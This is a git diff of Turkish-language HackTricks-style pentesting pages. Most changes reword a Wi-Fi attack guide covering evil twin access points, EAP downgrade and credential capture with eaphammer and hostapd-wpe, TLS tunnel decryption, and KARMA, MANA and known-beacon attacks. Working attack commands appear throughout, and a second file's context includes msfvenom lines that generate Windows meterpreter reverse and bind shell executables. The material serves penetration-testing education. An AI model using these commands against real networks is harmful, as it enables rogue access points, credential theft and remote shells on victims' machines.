RADIUS isteğindeki anonim Kullanıcı-Adı ve TTLS EAP-Mesajı niteliklerini değiştirmek üzere çıkan RADIUS mesajında yer alır.
|
||||
|
||||
Daha fazla bilgi için [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm) adresine bakın.
|
||||
Daha fazla bilgi için [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm) adresini kontrol edin.
|
||||
|
||||
### EAP-Bruteforce (şifre spreyi)
|
||||
|
||||
|
@ -450,7 +450,7 @@ Bu saldırıyı `eaphammer` kullanarak da gerçekleştirebilirsiniz:
|
|||
|
||||
* 802.11 protokolü, bir istasyonun Genişletilmiş Hizmet Seti'ne (ESS) nasıl katılacağını tanımlar, ancak bir ESS veya içindeki bir erişim noktasını (AP) seçme kriterlerini belirtmez.
|
||||
* İstasyonlar, aynı ESSID'yi paylaşan AP'ler arasında gezinebilir, bir bina veya alan boyunca bağlantıyı sürdürebilir.
|
||||
* Protokol, istasyonun ESS'e kimlik doğrulamasını gerektirir, ancak AP'nin istasyona kimlik doğrulamasını zorunlu kılmaz.
|
||||
* Protokol, ESS'ye istasyon kimlik doğrulaması gerektirir, ancak AP'nin istasyona kimlik doğrulaması yapmasını zorunlu kılmaz.
|
||||
|
||||
### Tercih Edilen Ağ Listeleri (PNL)
|
||||
|
||||
|
@ -459,27 +459,27 @@ Bu saldırıyı `eaphammer` kullanarak da gerçekleştirebilirsiniz:
|
|||
|
||||
### Pasif Tarama
|
||||
|
||||
* AP'ler, varlıklarını ve özelliklerini duyuran sinyal çerçevelerini periyodik olarak yayınlar, AP'nin ESSID'sini de içerir, yayın kapatılmadığı sürece.
|
||||
* AP'ler, varlıklarını ve özelliklerini duyuran sinyal çerçevelerini periyodik olarak yayınlar, AP'nin ESSID'sini yayınlamayı devre dışı bırakmadıkça.
|
||||
* Pasif tarama sırasında, istasyonlar sinyal çerçevelerini dinler. Eğer bir sinyalin ESSID'si istasyonun PNL'sindeki bir girişle eşleşirse, istasyon otomatik olarak o AP'ye bağlanabilir.
|
||||
* Bir cihazın PNL'sinin bilgisi, bilinen bir ağın ESSID'sini taklit ederek potansiyel istismar için olanak tanır ve cihazı sahte bir AP'ye bağlanmaya kandırır.
|
||||
* Bir cihazın PNL'sinin bilgisi, bilinen bir ağın ESSID'sini taklit ederek potansiyel istismar için olanak sağlar ve cihazı sahte bir AP'ye bağlanmaya kandırır.
|
||||
|
||||
### Aktif Sorgulama
|
||||
|
||||
* Aktif sorgulama, istasyonların yakınlardaki AP'leri ve özelliklerini keşfetmek için sorgu talepleri göndermesini içerir.
|
||||
* Yönlendirilmiş sorgu talepleri, belirli bir ESSID'yi hedef alır ve belirli bir ağın menzil içinde olup olmadığını tespit etmeye yardımcı olur, hatta gizli bir ağ olsa bile.
|
||||
* Yayın sorgu talepleri, boş bir SSID alanına sahiptir ve tüm yakınlardaki AP'lere gönderilir, istasyonun PNL içeriğini açıklamadan herhangi bir tercih edilen ağı kontrol etmesine olanak tanır.
|
||||
* Yayın sorgu talepleri, boş bir SSID alanına sahiptir ve tüm yakınlardaki AP'lere gönderilir, böylece istasyon, PNL içeriğini açıklamadan herhangi bir tercih edilen ağı kontrol edebilir.
|
||||
|
||||
## Basit AP ile İnternete Yönlendirme
|
||||
|
||||
Daha karmaşık saldırıları nasıl gerçekleştireceğini açıklamadan önce, sadece bir **AP** oluşturmanın ve **trafik** yönlendirmesinin **nasıl** yapılacağı açıklanacaktır **İnternete** bağlı bir arayüze.
|
||||
|
||||
`ifconfig -a` kullanarak, AP'yi oluşturmak için wlan arayüzünün ve İnternete bağlı arayüzün mevcut olup olmadığını kontrol edin.
|
||||
`ifconfig -a` kullanarak, AP'yi oluşturmak için wlan arayüzünün ve İnternete bağlı arayüzün mevcut olduğunu kontrol edin.
|
||||
|
||||
### DHCP & DNS
|
||||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
`/etc/dnsmasq.conf` dosyasını oluşturun:
|
||||
`/etc/dnsmasq.conf` yapılandırma dosyasını oluşturun:
|
||||
```ini
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
|
@ -537,17 +537,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
```
|
||||
## Evil Twin
|
||||
|
||||
Evil twin saldırısı, WiFi istemcilerinin ağları tanıma şekillerini istismar eder, esasen ağ adını (ESSID) kullanarak, erişim noktasının istemciye kendini doğrulamasını gerektirmeden. Anahtar noktalar şunlardır:
|
||||
Evil twin saldırısı, WiFi istemcilerinin ağları tanıma şekillerini istismar eder, esasen ağ adını (ESSID) kullanarak, temel istasyonun (erişim noktası) kendini istemciye doğrulamasını gerektirmeden. Anahtar noktalar şunlardır:
|
||||
|
||||
* **Ayrım Zorluğu**: Cihazlar, aynı ESSID ve şifreleme türünü paylaştıklarında meşru ve sahte erişim noktalarını ayırt etmekte zorlanır. Gerçek dünya ağları genellikle kapsama alanını kesintisiz uzatmak için aynı ESSID'ye sahip birden fazla erişim noktası kullanır.
|
||||
* **İstemci Geçişi ve Bağlantı Manipülasyonu**: 802.11 protokolü, cihazların aynı ESS içindeki erişim noktaları arasında geçiş yapmasına olanak tanır. Saldırganlar, bir cihazı mevcut baz istasyonundan ayırıp sahte birine bağlanmaya ikna ederek bunu istismar edebilir. Bu, daha güçlü bir sinyal sunarak veya meşru erişim noktasına olan bağlantıyı deauthentikasyon paketleri veya sinyal karıştırma gibi yöntemlerle keserek gerçekleştirilebilir.
|
||||
* **Uygulama Zorlukları**: Birden fazla, iyi yerleştirilmiş erişim noktasının bulunduğu ortamlarda evil twin saldırısını başarıyla gerçekleştirmek zor olabilir. Tek bir meşru erişim noktasını deauthentikasyon yapmak, genellikle cihazın başka bir meşru erişim noktasına bağlanmasına neden olur, saldırgan tüm yakın erişim noktalarını deauthentikasyon yapmadıkça veya sahte erişim noktasını stratejik olarak yerleştirmedikçe.
|
||||
* **Ayrım Zorluğu**: Cihazlar, aynı ESSID ve şifreleme türüne sahip olduklarında meşru ve sahte erişim noktalarını ayırt etmekte zorlanır. Gerçek dünya ağları genellikle kapsama alanını kesintisiz uzatmak için aynı ESSID'ye sahip birden fazla erişim noktası kullanır.
|
||||
* **İstemci Geçişi ve Bağlantı Manipülasyonu**: 802.11 protokolü, cihazların aynı ESS içindeki erişim noktaları arasında dolaşmasına olanak tanır. Saldırganlar, bir cihazı mevcut temel istasyonundan ayırıp sahte birine bağlanmaya ikna ederek bunu istismar edebilir. Bu, daha güçlü bir sinyal sunarak veya meşru erişim noktasına olan bağlantıyı deauthentikasyon paketleri veya sinyal karıştırma gibi yöntemlerle keserek gerçekleştirilebilir.
|
||||
* **Uygulama Zorlukları**: Birden fazla, iyi yerleştirilmiş erişim noktasının bulunduğu ortamlarda evil twin saldırısını başarıyla gerçekleştirmek zor olabilir. Tek bir meşru erişim noktasını deauthentikasyon yapmak, genellikle cihazın başka bir meşru erişim noktasına bağlanmasıyla sonuçlanır, saldırgan tüm yakın erişim noktalarını deauthentikasyon yapamazsa veya sahte erişim noktasını stratejik olarak yerleştiremezse.
|
||||
|
||||
Çok temel bir Open Evil Twin (İnternete trafik yönlendirme yeteneği olmayan) oluşturabilirsiniz:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
Evil Twin oluşturmak için **eaphammer** kullanabilirsiniz (evil twin'ler oluşturmak için eaphammer ile arayüzün **monitor** modunda **olmaması gerektiğini** unutmayın):
|
||||
Evil Twin oluşturmak için **eaphammer** kullanabilirsiniz (eaphammer ile evil twin oluşturmak için arayüzün **monitor** modunda **olmaması gerektiğini** unutmayın):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
|
@ -555,23 +555,23 @@ Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
|
|||
|
||||
![](<../../.gitbook/assets/image (1088).png>)
|
||||
|
||||
Lütfen, varsayılan olarak PNL'deki bir ESSID WPA korumalı olarak kaydedilmişse, cihazın otomatik olarak Açık bir evil Twin'e bağlanmayacağını unutmayın. Gerçek AP'yi DoS yapmayı deneyebilir ve kullanıcının manuel olarak Açık evil twin'inize bağlanmasını umabilirsiniz, ya da gerçek AP'yi DoS yapabilir ve el sıkışmayı yakalamak için bir WPA Evil Twin kullanabilirsiniz (bu yöntemi kullanarak kurbanın size bağlanmasını sağlayamazsınız çünkü PSK'yı bilmiyorsunuz, ancak el sıkışmayı yakalayabilir ve kırmaya çalışabilirsiniz).
|
||||
Lütfen, varsayılan olarak PNL'deki bir ESSID WPA korumalı olarak kaydedilmişse, cihazın otomatik olarak Açık evil Twin'e bağlanmayacağını unutmayın. Gerçek AP'ye DoS saldırısı yapmayı deneyebilir ve kullanıcının manuel olarak Açık evil Twin'inize bağlanmasını umabilirsiniz veya gerçek AP'ye DoS saldırısı yapabilir ve el sıkışmayı yakalamak için bir WPA Evil Twin kullanabilirsiniz (bu yöntemi kullanarak, PSK'yı bilmediğiniz için kurbanın size bağlanmasını sağlayamazsınız, ancak el sıkışmayı yakalayabilir ve kırmaya çalışabilirsiniz).
|
||||
|
||||
_Bazı işletim sistemleri ve antivirüs yazılımları, Açık bir ağa bağlanmanın tehlikeli olduğunu kullanıcıya bildirecektir..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
**WPA/2 kullanarak bir Evil Twin oluşturabilirsiniz** ve eğer cihazlar o SSID'ye WPA/2 ile bağlanacak şekilde yapılandırılmışsa, bağlanmaya çalışacaklardır. Her durumda, **4-yol el sıkışmasını tamamlamak için** ayrıca **müşterinin kullanacağı** **şifreyi** de **bilmeniz** gerekiyor. Eğer **bilmiyorsanız**, **bağlantı tamamlanmayacaktır**.
|
||||
**WPA/2 kullanarak bir Evil Twin oluşturabilirsiniz** ve eğer cihazlar o SSID'ye WPA/2 ile bağlanacak şekilde yapılandırılmışsa, bağlanmaya çalışacaklardır. Her durumda, **4-yol el sıkışmasını tamamlamak için** ayrıca **müşterinin kullanacağı** **şifreyi bilmeniz** gerekiyor. Eğer **bilmiyorsanız**, **bağlantı tamamlanmayacaktır**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### Enterprise Evil Twin
|
||||
### Kurumsal Kötü İkiz
|
||||
|
||||
Bu saldırıları anlamak için öncelikle [WPA Enterprise açıklaması](./#wpa-enterprise-mgt) okunmasını öneririm.
|
||||
Bu saldırıları anlamak için önce [WPA Enterprise açıklamasını](./#wpa-enterprise-mgt) okumanızı öneririm.
|
||||
|
||||
**hostapd-wpe Kullanımı**
|
||||
|
||||
`hostapd-wpe` çalışmak için bir **konfigürasyon** dosyasına ihtiyaç duyar. Bu konfigürasyonların oluşturulmasını **otomatikleştirmek** için [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) kullanılabilir (/_/etc/hostapd-wpe/_ içindeki python dosyasını indirin).
|
||||
`hostapd-wpe` çalışmak için bir **konfigürasyon** dosyasına ihtiyaç duyar. Bu konfigürasyonların oluşturulmasını **otomatikleştirmek** için [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) kullanabilirsiniz (/_/etc/hostapd-wpe/_ içindeki python dosyasını indirin).
|
||||
```bash
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
|
@ -592,56 +592,50 @@ Varsayılan olarak, EAPHammer bu kimlik doğrulama yöntemlerini amaçlar (ilk o
|
|||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Bu, uzun bağlantı sürelerini önlemek için varsayılan metodolojidir. Ancak, sunucuya kimlik doğrulama yöntemlerini en zayıftan en güçlüsüne doğru belirtmek de mümkündür:
|
||||
Bu, uzun bağlantı sürelerini önlemek için varsayılan metodolojidir. Ancak, sunucuya kimlik doğrulama yöntemlerini en zayıftan en güçlüyü sıralayacak şekilde de belirtebilirsiniz:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
Or you could also use:
|
||||
|
||||
* `--negotiate gtc-downgrade` ile yüksek verimli GTC düşürme uygulamasını (düz metin şifreleri) kullanmak için
|
||||
* `--negotiate gtc-downgrade` ile yüksek verimli GTC düşürme uygulamasını (düz metin şifreleri) kullanabilirsiniz.
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` ile sunulan yöntemleri manuel olarak belirtmek için (saldırının gerçekleştirileceği organizasyonla aynı sırada aynı kimlik doğrulama yöntemlerini sunmak, tespiti çok daha zor hale getirecektir).
|
||||
* [Daha fazla bilgi için wiki'yi bulun](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Airgeddon Kullanımı**
|
||||
|
||||
`Airgeddon`, daha önce oluşturulmuş sertifikaları kullanarak WPA/WPA2-Enterprise ağlarına EAP kimlik doğrulaması sunabilir. Sahte ağ, bağlantı protokolünü EAP-MD5'e düşürecektir, böylece **kullanıcıyı ve şifrenin MD5'ini yakalayabilecektir**. Daha sonra, saldırgan şifreyi kırmaya çalışabilir.\
|
||||
`Airgeddon`, size **sürekli Kötü İkiz saldırısı (gürültülü)** veya **birisi bağlanana kadar yalnızca Kötü Saldırı oluşturma (sakin)** olanağını sunar.
|
||||
`Airgeddon`, size **sürekli Evil Twin saldırısı (gürültülü)** veya **birisi bağlanana kadar sadece Evil Attack oluşturma (sakin)** olanağını sunar.
|
||||
|
||||
![](<../../.gitbook/assets/image (936).png>)
|
||||
|
||||
### Kötü İkiz saldırılarında PEAP ve EAP-TTLS TLS tünellerini hata ayıklama
|
||||
### Evil Twins saldırılarında PEAP ve EAP-TTLS TLS tünellerini hata ayıklama
|
||||
|
||||
_Bu yöntem bir PEAP bağlantısında test edildi, ancak ben keyfi bir TLS tünelini şifrelediğim için bu EAP-TTLS ile de çalışmalıdır._
|
||||
|
||||
**hostapd-wpe**'nin **konfigürasyonu** içinde, _**dh\_file**_ içeren satırı **yorumlayın** ( `dh_file=/etc/hostapd-wpe/certs/dh`'den `#dh_file=/etc/hostapd-wpe/certs/dh`'ye)\
|
||||
Bu, `hostapd-wpe`'nin **RSA kullanarak anahtarları değiştirmesini** sağlayacak, böylece daha sonra **sunucunun özel anahtarını bilerek** trafiği **şifreleyebilirsiniz**.
|
||||
|
||||
Şimdi, her zamanki gibi o değiştirilmiş konfigürasyonla **`hostapd-wpe`** kullanarak **Kötü İkiz**'i başlatın. Ayrıca, **Kötü İkiz saldırısını** gerçekleştiren **arayüzde** **`wireshark`**'ı başlatın.
|
||||
Şimdi, her zamanki gibi o değiştirilmiş konfigürasyonla **`hostapd-wpe`** kullanarak **Evil Twin**'i başlatın. Ayrıca, **Evil Twin saldırısını gerçekleştiren** **arayüzde** **`wireshark`**'ı başlatın.
|
||||
|
||||
Şimdi veya daha sonra (zaten bazı kimlik doğrulama girişimlerini yakaladığınızda) özel RSA anahtarını wireshark'a ekleyebilirsiniz: `Düzenle --> Tercihler --> Protokoller --> TLS --> (RSA anahtarları listesi) Düzenle...`
|
||||
Şimdi veya daha sonra (zaten bazı kimlik doğrulama girişimlerini yakaladığınızda) özel RSA anahtarını wireshark'a ekleyebilirsiniz: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Yeni bir giriş ekleyin ve bu değerlerle formu doldurun: **IP adresi = herhangi** -- **Port = 0** -- **Protokol = veri** -- **Anahtar Dosyası** (**anahtar dosyanızı seçin**, sorun yaşamamak için **şifre korumalı olmayan** bir anahtar dosyası seçin).
|
||||
|
||||
![](<../../.gitbook/assets/image (687).png>)
|
||||
|
||||
Ve yeni **"Şifrelenmiş TLS" sekmesine** bakın:
|
||||
|
||||
![](<../../.gitbook/assets/image (231).png>)
|
||||
|
||||
## KARMA, MANA, Gürültülü MANA ve Bilinen Beacon saldırısı
|
||||
## KARMA, MANA, Gürültülü MANA ve Bilinen sinyal saldırısı
|
||||
|
||||
### ESSID ve MAC kara/beyaz listeleri
|
||||
|
||||
Farklı türdeki Medya Erişim Kontrol Filtre Listeleri (MFACL'ler) ve bunların sahte Erişim Noktası (AP) üzerindeki davranışları üzerindeki etkileri:
|
||||
|
||||
1. **MAC tabanlı Beyaz Liste**:
|
||||
* Sahte AP, yalnızca beyaz listede belirtilen cihazlardan gelen sorgu isteklerine yanıt verecek, listede olmayan diğer tüm cihazlara görünmez kalacaktır.
|
||||
* Sahte AP, yalnızca beyaz listede belirtilen cihazlardan gelen probe isteklerine yanıt verecek, listede yer almayan diğer tüm cihazlara görünmez kalacaktır.
|
||||
2. **MAC tabanlı Kara Liste**:
|
||||
* Sahte AP, kara listedeki cihazlardan gelen sorgu isteklerini görmezden gelecek, böylece sahte AP bu belirli cihazlara görünmez hale gelecektir.
|
||||
* Sahte AP, kara listedeki cihazlardan gelen probe isteklerini görmezden gelecek, böylece sahte AP bu belirli cihazlara görünmez hale gelecektir.
|
||||
3. **SSID tabanlı Beyaz Liste**:
|
||||
* Sahte AP, yalnızca belirli ESSID'ler için sorgu isteklerine yanıt verecek, bu ESSID'leri içermeyen cihazlara görünmez olacaktır.
|
||||
* Sahte AP, yalnızca belirli ESSID'ler için gelen probe isteklerine yanıt verecek, bu ESSID'leri içermeyen cihazlara görünmez hale gelecektir.
|
||||
4. **SSID tabanlı Kara Liste**:
|
||||
* Sahte AP, kara listedeki belirli ESSID'ler için sorgu isteklerine yanıt vermeyecek, bu belirli ağları arayan cihazlara görünmez hale gelecektir.
|
||||
* Sahte AP, kara listedeki belirli ESSID'ler için gelen probe isteklerine yanıt vermeyecek, bu belirli ağları arayan cihazlara görünmez hale gelecektir.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
|
@ -663,11 +657,11 @@ name3
|
|||
```
|
||||
### KARMA
|
||||
|
||||
Bu yöntem, **bir saldırganın, ağlara bağlanmaya çalışan cihazlardan gelen tüm probe isteklerine yanıt veren kötü niyetli bir erişim noktası (AP) oluşturmasına** olanak tanır. Bu teknik, **cihazları, aradıkları ağları taklit ederek saldırganın AP'sine bağlanmaya kandırır**. Bir cihaz bu sahte AP'ye bir bağlantı isteği gönderdiğinde, bağlantıyı tamamlar ve cihazın yanlışlıkla saldırganın ağına bağlanmasına neden olur.
|
||||
Bu yöntem, **bir saldırganın, ağlara bağlanmaya çalışan cihazlardan gelen tüm probe isteklerine yanıt veren kötü niyetli bir erişim noktası (AP) oluşturmasına** olanak tanır. Bu teknik, **cihazları, saldırganın AP'sine bağlanmaya kandırarak** cihazların aradığı ağları taklit eder. Bir cihaz bu sahte AP'ye bir bağlantı isteği gönderdiğinde, bağlantıyı tamamlar ve cihazın yanlışlıkla saldırganın ağına bağlanmasına neden olur.
|
||||
|
||||
### MANA
|
||||
|
||||
Daha sonra, **cihazlar istenmeyen ağ yanıtlarını görmezden gelmeye başladı**, bu da orijinal karma saldırısının etkinliğini azalttı. Ancak, Ian de Villiers ve Dominic White tarafından tanıtılan **MANA saldırısı** olarak bilinen yeni bir yöntem ortaya çıktı. Bu yöntem, sahte AP'nin **cihazların yayınladığı probe isteklerine yanıt vererek Tercih Edilen Ağ Listelerini (PNL) yakalamasını** içerir; bu yanıtlar, cihazlar tarafından daha önce talep edilen ağ adları (SSID'ler) ile yapılır. Bu sofistike saldırı, cihazların bildikleri ağları hatırlama ve önceliklendirme şekillerini istismar ederek orijinal karma saldırısına karşı korumaları aşar.
|
||||
Daha sonra, **cihazlar istenmeyen ağ yanıtlarını görmezden gelmeye başladı**, bu da orijinal karma saldırısının etkinliğini azalttı. Ancak, Ian de Villiers ve Dominic White tarafından tanıtılan **MANA saldırısı** olarak bilinen yeni bir yöntem ortaya çıktı. Bu yöntem, sahte AP'nin **cihazların yayınladığı probe isteklerine yanıt vererek Tercih Edilen Ağ Listelerini (PNL) yakalamasını** içerir; bu yanıtlar, cihazlar tarafından daha önce talep edilen ağ adları (SSID'ler) ile yapılır. Bu karmaşık saldırı, cihazların bildiği ağları hatırlama ve önceliklendirme şekillerini istismar ederek orijinal karma saldırısına karşı korumaları aşar.
|
||||
|
||||
MANA saldırısı, cihazlardan gelen hem yönlendirilmiş hem de yayınlanmış probe isteklerini izleyerek çalışır. Yönlendirilmiş istekler için, cihazın MAC adresini ve talep edilen ağ adını kaydeder, bu bilgiyi bir listeye ekler. Bir yayın isteği alındığında, AP, cihazın listesindeki ağlardan herhangi biriyle eşleşen bilgilerle yanıt verir ve cihazı sahte AP'ye bağlanmaya teşvik eder.
|
||||
```bash
|
||||
|
@ -679,17 +673,17 @@ Bir **Loud MANA saldırısı**, cihazların yönlendirilmiş sorgulama kullanmad
|
|||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
### Bilinen Beacon saldırısı
|
||||
|
||||
**Loud MANA attack** yeterli olmadığında, **Known Beacon attack** başka bir yaklaşım sunar. Bu yöntem, **bir ağ adıyla yanıt veren bir AP'yi simüle ederek bağlantı sürecini brute-force ile zorlar, potansiyel ESSID'lerin bir listesini döngüye alarak** bir kelime listesinden türetilmiştir. Bu, birçok ağın varlığını simüle eder, umarak kurbanın PNL'sindeki bir ESSID ile eşleşir ve uydurma AP'ye bir bağlantı denemesi yapar. Saldırı, cihazları yakalamak için daha agresif bir deneme yapmak amacıyla `--loud` seçeneği ile birleştirilerek artırılabilir.
|
||||
**Loud MANA saldırısı** yeterli olmadığında, **Bilinen Beacon saldırısı** başka bir yaklaşım sunar. Bu yöntem, **bir ağ adıyla yanıt veren bir AP'yi simüle ederek bağlantı sürecini brute-force ile zorlar ve bir kelime listesinden türetilen potansiyel ESSID'lerin bir listesini döngüye alır**. Bu, birçok ağın varlığını simüle eder ve kurbanın PNL'sindeki bir ESSID ile eşleşmeyi umarak, uydurma AP'ye bir bağlantı denemesi yapılmasını teşvik eder. Saldırı, cihazları yakalamak için daha agresif bir deneme yapmak amacıyla `--loud` seçeneği ile birleştirilerek güçlendirilebilir.
|
||||
|
||||
Eaphammer bu saldırıyı, listedeki tüm ESSID'lerin yüklendiği bir MANA saldırısı olarak uyguladı (bunu `--loud` ile birleştirerek Loud MANA + Known beacons attack oluşturabilirsiniz):
|
||||
Eaphammer, bu saldırıyı bir MANA saldırısı olarak uyguladı; burada bir listedeki tüm ESSID'ler kullanılır (bunu `--loud` ile birleştirerek Loud MANA + Bilinen beacon saldırısı oluşturabilirsiniz):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**Bilinen Beacon Burst saldırısı**
|
||||
|
||||
**Bilinen Beacon Burst saldırısı**, bir dosyada listelenen her ESSID için **hızlı bir şekilde beacon çerçevelerinin yayınlanmasını** içerir. Bu, sahte ağların yoğun bir ortamını yaratır ve cihazların kötü niyetli AP'ye bağlanma olasılığını büyük ölçüde artırır, özellikle de bir MANA saldırısıyla birleştirildiğinde. Bu teknik, cihazların ağ seçim mekanizmalarını aşmak için hız ve hacimden yararlanır.
|
||||
**Bilinen Beacon Burst saldırısı**, bir dosyada listelenen her ESSID için **hızlı bir şekilde beacon çerçevelerinin yayınlanmasını** içerir. Bu, sahte ağların yoğun bir ortamını yaratır ve cihazların sahte AP'ye bağlanma olasılığını büyük ölçüde artırır, özellikle de bir MANA saldırısıyla birleştirildiğinde. Bu teknik, cihazların ağ seçim mekanizmalarını aşmak için hız ve hacimden yararlanır.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
|
@ -700,19 +694,19 @@ Eaphammer bu saldırıyı, listedeki tüm ESSID'lerin yüklendiği bir MANA sald
|
|||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct**, cihazların geleneksel bir kablosuz erişim noktası olmadan Wi-Fi kullanarak doğrudan birbirleriyle bağlantı kurmalarını sağlayan bir protokoldür. Bu yetenek, yazıcılar ve televizyonlar gibi çeşitli Nesnelerin İnterneti (IoT) cihazlarına entegre edilmiştir ve doğrudan cihazdan cihaza iletişimi kolaylaştırır. Wi-Fi Direct'in dikkat çekici bir özelliği, bir cihazın bağlantıyı yönetmek için grup sahibi olarak bilinen bir erişim noktası rolünü üstlenmesidir.
|
||||
**Wi-Fi Direct**, cihazların geleneksel bir kablosuz erişim noktası olmadan Wi-Fi kullanarak doğrudan birbirleriyle bağlantı kurmasını sağlayan bir protokoldür. Bu yetenek, yazıcılar ve televizyonlar gibi çeşitli Nesnelerin İnterneti (IoT) cihazlarına entegre edilmiştir ve doğrudan cihazdan cihaza iletişimi kolaylaştırır. Wi-Fi Direct'in dikkat çekici bir özelliği, bir cihazın bağlantıyı yönetmek için grup sahibi olarak bilinen bir erişim noktası rolünü üstlenmesidir.
|
||||
|
||||
Wi-Fi Direct bağlantıları için güvenlik, birkaç güvenli eşleştirme yöntemini destekleyen **Wi-Fi Protected Setup (WPS)** aracılığıyla sağlanır:
|
||||
|
||||
* **Push-Button Configuration (PBC)**
|
||||
* **PIN girişi**
|
||||
* **Near-Field Communication (NFC)**
|
||||
* **Yakın Alan İletişimi (NFC)**
|
||||
|
||||
Bu yöntemler, özellikle PIN girişi, geleneksel Wi-Fi ağlarındaki WPS ile aynı güvenlik açıklarına maruz kalmaktadır ve benzer saldırı vektörlerinin hedefi haline gelmektedir.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking**, Wi-Fi Direct'e özgü bir saldırıdır. Evil Twin saldırısının konseptini yansıtır, ancak Wi-Fi Direct bağlantılarını hedef alır. Bu senaryoda, bir saldırgan meşru bir grup sahibini taklit ederek cihazları kötü niyetli bir varlığa bağlanmaya ikna etmeyi amaçlar. Bu yöntem, taklit edilen cihazın kanalını, ESSID'sini ve MAC adresini belirterek `airbase-ng` gibi araçlar kullanılarak gerçekleştirilebilir.
|
||||
**EvilDirect Hijacking**, Wi-Fi Direct'e özgü bir saldırıdır. Evil Twin saldırısının konseptini yansıtır ancak Wi-Fi Direct bağlantılarını hedef alır. Bu senaryoda, bir saldırgan meşru bir grup sahibini taklit ederek cihazları kötü niyetli bir varlığa bağlanmaya ikna etmeyi amaçlar. Bu yöntem, taklit edilen cihazın kanalını, ESSID'sini ve MAC adresini belirterek `airbase-ng` gibi araçlar kullanılarak gerçekleştirilebilir.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -729,20 +723,20 @@ Bu yöntemler, özellikle PIN girişi, geleneksel Wi-Fi ağlarındaki WPS ile ay
|
|||
|
||||
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) adresine göz atın (facebook ile giriş ve captive portallarda WPA taklidi)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Hızla değişen hacking dünyasında güncel kalmak için gerçek zamanlı haberler ve bilgiler edinin
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresine katılın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -63,6 +63,8 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||
```
|
||||
